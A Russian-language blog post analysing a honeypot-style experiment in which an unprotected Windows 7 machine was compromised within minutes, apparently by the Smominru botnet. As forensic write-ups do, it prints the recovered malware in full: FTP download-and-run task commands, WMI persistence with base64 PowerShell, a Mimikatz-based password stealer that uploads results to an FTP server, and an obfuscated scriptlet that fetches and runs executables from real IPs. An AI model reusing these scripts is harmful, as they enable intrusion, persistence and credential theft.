Содержание
Привет! Сегодня хочу рассказать детали одного эксперимента, который весьма показателен в наше неспокойное время.
Целью эксперимента было показать, что операционная система без средств защиты, даже штатных, выжить в сети Интернет долго не сможет. Многочисленные попытки взлома со стороны неустановленных лиц увенчались успехом буквально спустя час-полтора после включения.
Итак, ход эксперимента. Я запустил чистую Windows 7 x86 без установленных сетевых экранов, антивирусов с “белым” IP-адресом. И спустя полтора часа выключил. Подмонтировал образ диска к своему компьютеру и начинаю изучение.
Кстати, всё пишу в реальном времени. Не получится так не получится, статья всё равно будет опубликована. Нужно узнать что произошло и кто это сделал.
Запланированные задачи
Открываю каталог C:\Windows\system32\Tasks\ и вижу:
Сразу скажу, этих заданий там быть не должно. И имена какие-то не очень.
Фиксируем временную метку: 18.09.2019 16:42:49-51. За три секунды создано несколько задач. Посмотрим, что у них внутри.
Mysa
<Exec>
Команды работы с FTP-сервером кидаются в файлик s. Данные команды загружают исполняемый файл a.exe с сервера злоумышленников и кидают его в каталог системы, а также выполняют. Чтож, попытаемся восстановить файл s и файл update.exe, а также попробуем забрать файл с сервака.
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > s & echo test >> s & echo 1433 >> s & echo binary >> s & echo get a.exe c:\windows\update.exe >> s & echo bye >> s & ftp -s:s & c:\windows\update.exe</Arguments>
</Exec>
Mysa1
<Exec>
<Command>rundll32.exe</Command>
<Arguments>c:\windows\debug\item.dat,ServiceMain aaaa</Arguments>
</Exec>
Выполняется функция из dll, замаскированной под \debug\item.dat. Попробуем её восстановить.
Mysa2
<Exec>
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > p & echo test >> p & echo 1433 >> p & echo get s.dat c:\windows\debug\item.dat >> p & echo bye >> p & ftp -s:p</Arguments>
</Exec>
Ещё один файл с FTP. Действия аналогичные. Поищем item.dat и p.
Mysa3
<Exec>
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > ps & echo test >> ps & echo 1433 >> ps & echo get s.rar c:\windows\help\lsmosee.exe >> ps & echo bye >> ps & ftp -s:ps & c:\windows\help\lsmosee.exe</Arguments>
</Exec>
Аналогично. Качается архив, кидается в help\lsmosee.exe и запускается. Надо восстановить его.
ok
<Exec>
<Command>rundll32.exe</Command>
<Arguments>c:\windows\debug\ok.dat,ServiceMain aaaa</Arguments>
</Exec>
Запуск ещё одной dll-ки. Поищем ok.dat.
Причём все таски выполнялись от имени системы. Так, все скачанные файлы будут падать в C:\windows\system32.
Ищем артефакты
c:\windows\update.exe – не найден.
c:\windows\debug\item.dat – найден. Дата создания та же, время 16:42:37 Представляет собой EXE-файл. Смотрим. Отладчик показывает, что экспортируется только одна функция – ServiceMain, восстановить функционал у меня пока скилла не хватает.
c:\windows\help\lsmosee.exe – не найден.
c:\windows\debug\ok.dat – не найден.
Рановато я выключил, или что-то пошло не так.. В любом случае у нас только один модуль вирусни есть. Чтож, давайте-так посмотрим вообще все файлы, которые создавались в это время. В R-Studio, которым я для этого пользуюсь всё делать очень удобно.
Артефакты по времени
C:\windows\system32\abc.txt, время создания 16:42:10. – текстовый файл. Содержимое похоже на вывод списка активных процессов.
C:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pf, время создания 16:42:08, это файл Prefetch – показывающий, что в то самое время запускался интерпретатор powershell. Интересно, какие команды выполнялись..
Поиск на Virustotal
Обнаружил файл downs.exe (там же). Рассчитаем SHA256 (и выполним поиск на вирустотал: https://www.virustotal.com/gui/file/540985ec8f60432dc67bf24b8efa7ee16030734b2a90a1db2195790438e104bc/detection).
Файл-то походу легальный. Полезно почитать кстати раздел COMMUNITY где народ обсуждает этот файл.
Проверяем следующий: msiefs.exe, (https://www.virustotal.com/gui/file/e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201/detection)
Другое дело! В частности, вот в деталях есть анализ его поведения:
Дополнительные модули
Кстати, n.vbs и c3.bat я нашёл. Посмотрим c3.bat… Это конечно же не bat-файл.
Видно по тексту, что качаются ещё файлы с других хостов. В том числе powershell скрипты. Вот всё и прояснилось.
Выдам построчно:
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckayoumm4" DELETE&
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckayoumm3'" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="fuckyoumm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"&
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="fuckyoumm4", CommandLineTemplate="cmd /c powershell.exe -nop -enc \"JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBtAGkALgAxADIAMQA3AGIAeQBlAC4AaABvAHMAdAAvADIALgB0AHgAdAAnACkALgB0AHIAaQBtACgAKQAgAC0AcwBwAGwAaQB0ACAAJwBbAFwAcgBcAG4AXQArACcAfAAlAHsAJABuAD0AJABfAC4AcwBwAGwAaQB0ACgAJwAvACcAKQBbAC0AMQBdADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAXwAsACAAJABuACkAOwBzAHQAYQByAHQAIAAkAG4AOwB9AA==\"&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.1217bye.host/S.ps1')&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://173.208.139.170/s.txt')&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://139.5.177.19/s.jpg') || regsvr32 /u /s /i:http://wmi.1217bye.host/1.txt scrobj.dll&
regsvr32 /u /s /i:http://173.208.139.170/2.txt scrobj.dll&
regsvr32 /u /s /i:http://139.5.177.19/3.txt scrobj.dll"&
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"fuckyoumm3\"", Consumer="CommandLineEventConsumer.Name=\"fuckyoumm4\""
del C:\windows\ime\c3.bat
Так, видим тут есть зашифрованная строка. Взглядом опытного сыщика определяем base64 (характерное окончание). Декодируем.
$wc=New-Object System.Net.WebClient;
$wc.DownloadString('http://wmi.1217bye.host/2.txt').trim() -split '[\r\n]+'|%
{
$n=$_.split('/')[-1];
$wc.DownloadFile($_, $n);
start $n;
}
Тут ещё получается список файлов и закачивается на многострадальный компьютер.
Итак, какие файлы мы потенциально могли получить:
- http://wmi.1217bye.host/S.ps1
- http://173.208.139.170/s.txt
- http://139.5.177.19/s.jpg
- http://wmi.1217bye.host/1.txt
- http://173.208.139.170/2.txt
- http://139.5.177.19/3.txt
- http://wmi.1217bye.host/2.txt
Попробую их получить и изучить.
Содержимое скриптов
- Доступен. Вот содержимое:
gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='conhost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\conhost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\conhost.exe'))){$_.Terminate();sleep -s 2;start-process c:\windows\temp\conhost.exe;}} - Доступен. Вот содержимое:
$url="http://139.5.177.19/l.txt";
$web = New-Object System.Net.WebClient;
$text = $web.DownloadString($url);
$list=$text.trim().split("`r`n",[StringSplitOptions]::RemoveEmptyEntries);
for($i=0;$i -lt $list.count;$i++){
$line=$list[$i].trim().split(",");
Get-Process|?{$_.Name -eq ($line[0] -replace "\.[^\.]+$","")}|Stop-Process -Force;
Get-WmiObject Win32_Process -Filter ("name='"+$line[0]+"'")|%{$_.Terminate();}
if($line[2].toString() -eq "1"){
if(test-path -LiteralPath $line[1]){
Remove-Item -LiteralPath $line[1] -Force;}}}
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='fuckyoumm2_filter'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='fuckyoumm2_consumer'" | Remove-WmiObject -Verbose
IEX (New-Object system.Net.WebClient).DownloadString('http://79.124.78.127/up.txt')- В первой строке упомянут http://139.5.177.19/l.txt. Смотрим:
lsmose.exe,C:\Windows\debug\lsmose.exe,1
lsmos.exe,C:\Windows\debug\lsmos.exe,1
lsmo.exe,C:\Windows\debug\lsmo.exe,1
csrw.exe,C:\Program Files (x86)\Common Files\csrw.exe,1
csrw.exe,C:\Program Files\Common Files\csrw.exe,1
lsmosee.exe,c:\windows\help\lsmosee.exe,1
csrs.exe,c:\csrs.exe,1 - В последней строке http://79.124.78.127/up.txt смотрим.
$txt=New-Object -TypeName System.Collections.ArrayList;
$localip="";
[System.Net.Dns]::GetHostAddresses('')|?{$_.AddressFamily -eq "InterNetwork"}|%{$localip=$_.IPAddressToString}
$publicip="";
$client=New-Object "System.Net.WebClient";
[byte[]]$data=$client.DownloadData("http://2019.ip138.com/ic.asp");
$html=[System.Text.Encoding]::Default.GetString($data);
if($html -match "\[(\d+\.\d+\.\d+\.\d+)\]"){$publicip=$matches[1];}
$process=gwmi -class "Win32_Process";
foreach($p in $process){
[void]$txt.Add(("??:"+$p.ExecutablePath));
[void]$txt.Add(("???:"+$p.CommandLine));
[void]$txt.Add("");};
[void]$txt.Add("");
$os=gwmi -class "Win32_OperatingSystem";
$ver="";
foreach($o in $os){
[void]$txt.Add(("??:"+$o.Caption+"["+$o.Version+"]"));
$ver=$o.Caption+"["+$o.Version+"]";}
[void]$txt.Add("");
$mem=gwmi -class "Win32_PhysicalMemory";
$i=0;
foreach($m in $mem){
[void]$txt.Add(("??"+($i++)+":"+$m.Capacity));}
[void]$txt.Add("");
$cpu=gwmi -class "Win32_Processor";
$i=0;
$load="";
foreach($c in $cpu){
[void]$txt.Add(("CPU"+($i++)+":["+$c.LoadPercentage+"%]"+$c.Name));
$load+=($c.LoadPercentage.toString()+"%-");};
[void]$txt.Add("");
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
$mm=[regex]::matches((Invoke-Mimikatz),'\* Username :.+\n.+?\* Domain :.+?\n.+?\* Password :.+');
$s="";
foreach($i in $mm){$s+=$i.value.trim()+"`r`n";};
[void]$txt.Add($s);
$txtfile=($env:tmp)+"\"+$publicip+"_"+$localip+"_"+$ver+"_"+$load.trimend("-")+".txt";
$fs=New-Object System.IO.FileStream($txtfile, [System.IO.FileMode]::Create);
$sw=New-Object System.IO.StreamWriter($fs, [Text.Encoding]::UTF8);
$sw.WriteLine(($txt -join "`r`n"));
$sw.Close();
$fs.Close();
$sw.Dispose();
$fs.Dispose();
$upfile=New-Object System.Io.FileInfo($txtfile);
$ftpip="192.187.111.66";
$ftpport="21";
$ftpusername="up";
$ftppassword="1433";
$ftpclient=[system.net.ftpwebrequest] [system.net.ftpwebrequest]::create("ftp://"+$ftpip+":"+$ftpport+"/"+$upfile.Name);
$ftpclient.UseBinary = $true;
$ftpclient.Timeout = 5*1000;
$ftpclient.Credentials = New-Object System.Net.NetworkCredential($ftpusername,$ftppassword);
$ftpclient.Method=[system.net.WebRequestMethods+ftp]::UploadFile;
$ftpclient.KeepAlive=$false;
$sourceStream=New-Object System.Io.StreamReader($upfile.FullName);
$fileContents=[System.Text.Encoding]::UTF8.GetBytes($sourceStream.ReadToEnd());
$sourceStream.Close();
$ftpclient.ContentLength=$fileContents.Length;
$requestStream=$ftpclient.GetRequestStream();
$requestStream.Write($fileContents, 0, $fileContents.Length);
$requestStream.Close();
$response=$ftpclient.GetResponse();
$response.StatusDescription;
$response.Close();- Файл: http://2019.ip138.com/ic.asp – недоступен.
- Видно, что качался файл Mimikatz.ps1 – эта утилита позволяет выдёргивать пароли учтных записей из защищённой области памяти процесса lsass.exe. Считаем, что все наши учётные записи скомпрометированны. В том числе и доменные, оставшиеся в кеше. Благо у меня таких не было.
- Фигурирует некий FTP-сервер. Его исследование оставлю на потом.
- В первой строке упомянут http://139.5.177.19/l.txt. Смотрим:
- Доступен. Никакая это не фотка. Вот содержимое:
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem | Out-File c.txt
cmd.exe /c taskkill /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe /im docv8.exe /im king.exe /im name.exe /im doc.exe /im wodCmdTerm.exe /im win1ogins.exe /im win1ogins.exe /im lsaus.exe /im lsars.exe /im lsacs.exe /im regedit.exe /im lsmsm.exe /im v5.exe /im anydesk.exe /im sqler.exe /im sqlservr.exe /im NsCpuCNMiner64.exe /im NsCpuCNMiner32.exe /im tlscntr.exe /im eter.exe /im lsmo.exe /im lsarr.exe /im convert.exe /im WinSCV.exe /im ctfmonc.exe /im lsmose.exe /im svhost.exe /im secscan.exe /im wuauser.exe /im splwow64.exe /im boy.exe /IM powered.EXE /im systems.exe /im acnom.exe /im regdrv.exe /im mscsuscr.exe /im Pviunc.exe /im Bllianc.exe /im st.exe /im nvidia_update.exe /im dether.exe /im buff2.exe /im a.exe /im lacas.exe /im new.exe /im upsup1x.exe /im 84.exe /im las.exe /im sys.exe /im seser.exe /im ercKK.exe /im MDI6MD.exe
cmd /c attrib -s -h -r c:\windows\syswow64\seser.exe
cmd /c del c:\windows\syswow64\seser.exe
cmd /c del c:\windows\system32\sys.exe
cmd /c del c:\windows\syswow64\las.exe
cmd /c del c:\windows\syswow64\84.exe
cmd /c cacls C:\Windows\IIS\*.exe /e /d system
cmd /c cacls C:\Windows\Fonts\Mysql\*.exe /e /d system
cmd /c del C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\*.exe
cmd /c del c:\windows\ercKK.exe
cmd /c cacls c:\windows\fonts\data\*.exe /e /d system
cmd.exe /c netsh ipsec static delete policy name=win |
netsh ipsec static add policy name=win |
netsh ipsec static add filterlist name=Allowlist |
netsh ipsec static add filterlist name=denylist |
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135 |
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137 |
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138 |
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139 |
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445 |
netsh ipsec static add filteraction name=Allow action=permit |
netsh ipsec static add filteraction name=deny action=block |
netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny |
netsh ipsec static set policy name=win assign=y - Доступен. Содержимое:
<?xml version="1.0"?>
<scriptlet>
<registration
description="Test"
progid="Test"
version="1.00"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x6d\x61\x78\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x6d\x61\x78\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x6d\x61\x78\x2e\x65\x78\x65");var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x75\x70\x73\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x73\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x73\x2e\x65\x78\x65");var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x75\x70\x73\x75\x70\x78\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x6e\x65\x77\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x6e\x65\x77\x2e\x65\x78\x65");]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); }
]]>
</script>
</scriptlet>
Что-то обфусцированное, либо просто кодировка. Попробуем привести в читаемый вид.. Вытащим содержимое скрипта. В notepad++ заменим в строках \x на пустой символ и переведём HEX->ASCII.
var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
WF$1['Open']("GET","http://173.247.239.186/max.exe",0);
WF$1['Send']();
var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
kGl$idWlF2['Mode']=3;
kGl$idWlF2['Type']=1;
kGl$idWlF2['Open']();
kGl$idWlF2['Write'](WF$1['responseBody']);
kGl$idWlF2['SaveToFile']("max.exe",2);
var J3=new ActiveXObject("WScript.Shell")['Run']("max.exe");
var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
WF$1['Open']("GET","http://173.247.239.186/ups.exe",0);
WF$1['Send']();
var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
kGl$idWlF2['Mode']=3;
kGl$idWlF2['Type']=1;
kGl$idWlF2['Open']();
kGl$idWlF2['Write'](WF$1['responseBody']);
kGl$idWlF2['SaveToFile']("s.exe",2);
var J3=new ActiveXObject("WScript.Shell")['Run']("s.exe");
var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
WF$1['Open']("GET","http://173.247.239.186/upsupx.exe",0);
WF$1['Send']();
var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
kGl$idWlF2['Mode']=3;
kGl$idWlF2['Type']=1;
kGl$idWlF2['Open']();
kGl$idWlF2['Write'](WF$1['responseBody']);
kGl$idWlF2['SaveToFile']("new.exe",2);
var J3=new ActiveXObject("WScript.Shell")['Run']("new.exe"); - Не доступен.
- Не доступен.
- Доступен. Вот содержимое:
http://173.247.239.186/ok.exe
http://173.247.239.186/upsupx.exe
http://173.247.239.186/u.exe
Эти файлы были найдены. На досуге посчитаю SHA256 и загоню на Virustotal.
Дальше проверять не вижу смысла, очень много исполняемых файлов. Поглядим журналы.
Системные журналы
Копируем весь каталог C:\Windows\system32\winevt\Logs с журналами для изучения.
Вот что нашёл интересного. Журнал Applications:
Процесс CMD был запущен уже в 16:41:58. Идём в журнал Security:
Чуть раньше был выполнен удалённый вход! Даже IP адрес зафиксирован.
Пробиваем IP адрес
Идём по адресу https://www.abuseipdb.com/check/23.245.228.28 и пробиваем по базам нарушителей сетевого спокойствия.
У адреса богатая история – сканирования, несанкционированный доступ и т.д… Кароче не первый раз хулиганят.
Сколько же времени заняло у злоумышленников напихать чистой незащищённой системе полную задницу огурцов? Из журналов событий узнаём время запуска: 16:29:33. Время удалённого входа – 16:41:25. Всё заняло примерно 11 минут!!!
То есть с момента включения до момента проникновения прошло 11 минут. Злоумышленники закрепились за пару минут, о чём свидетельствуют журналы файрволла и даты создания модулей вредоносных объектов в системе. Значит это скорее всего автоматическая скриптовая атака.
Ой, ребята, уже второй час ночи.. )) Если было интересно – жду в комментах. Разберу поглубже некоторые моменты позже.
P.S. Поведение похоже на кампанию Smominru
Comments: